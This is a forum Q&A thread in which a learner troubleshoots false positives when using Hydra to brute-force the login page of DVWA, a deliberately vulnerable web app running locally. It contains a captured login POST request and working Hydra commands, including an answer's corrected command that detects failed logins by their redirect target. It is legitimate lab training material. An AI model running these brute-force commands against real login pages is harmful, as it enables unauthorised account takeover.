I'm learning how to brute force web login pages with a popular brute force tool called "Hydra". I'm using Kali Linux (VirtualBox) to do this. I've installed DVWA (Damn Vulnerable Web Application) and I'm running it locally.

NOTE: I'm trying to brute force /DVWA/login.php (the actual DVWA login page) not /DVWA/vulnerabilities/brute/ (the brute force challenge)

Here's the Burp Suite info

POST /DVWA/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/DVWA/login.php
Cookie: security=impossible; PHPSESSID=72mh5pvdosgo98nmij6dha4min
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 77


I used Burp Suite to intercept the request and get the information needed, with that info I constructed the following command:

hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

dvwa.txt is just a text file with two passwords: password1 and password (the correct password to the login is password). When I ran hydra it returned with this:

Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-06 09:48:12
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-post-form://localhost:80//dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[ATTEMPT] target localhost - login "admin" - pass "password1" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "password" - 2 of 2 [child 1] (0/0)
[80][http-post-form] host: localhost   login: admin   password: password
[80][http-post-form] host: localhost   login: admin   password: password1
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-06 09:48:13

This result is not accurate, password1 is not a valid password, password is a valid password though. What am I doing wrong? I modelled my command according to this website.

Am I missing something? I notice that the website above did not put localhost in their command but rather an IP? I'm running DVWA locally on my computer so I put localhost. If you could please be as clear and detailed as possible that would be awesome! I'm new to Hydra, Kali Linux, and brute forcing!

  • Your hydra syntax is correct. I've tested your syntax with DVWA on the /DVWA/login.php. Try to change localhost to Also, try to change blacklist page response :Login failed to :failed
    – Wolf
    Jun 7, 2020 at 9:36
  • Do not discard the possibility that you might have run into a bug!
    – 4d4143
    Oct 18, 2021 at 9:36

2 Answers 2


The check to look for a failed login is what's not working.

In the link you included their failed login included "Login failed" somewhere in the POST response. I'm guessing when you fail to login at your login.php the string "Login failed" isn't returned in the response. You need to figure exactly gets returned in the case of a failed response (and update your command to look for that) or you will keep getting these false positives.

Did you just copy that last part from the example? :Login fauled

  • I don't think that's what's wrong, "Login failed" is exactly what the web page returns.
    – CoderPE
    Oct 6, 2018 at 20:37

The problem is that the main login.php page did not using post-back, but it was using the Redirect 302 Code, that why the hydra cannot detect the message "login failed". The tip is to check the response info, and we can see that the Location will be login.php for the failed case and index.php for the success case. So, just change the failed condition to login.php. I've tested and it has worked perfectly.

hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:login.php;H=Cookie: security=low; PHPSESSID=231234234dfb2....."

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .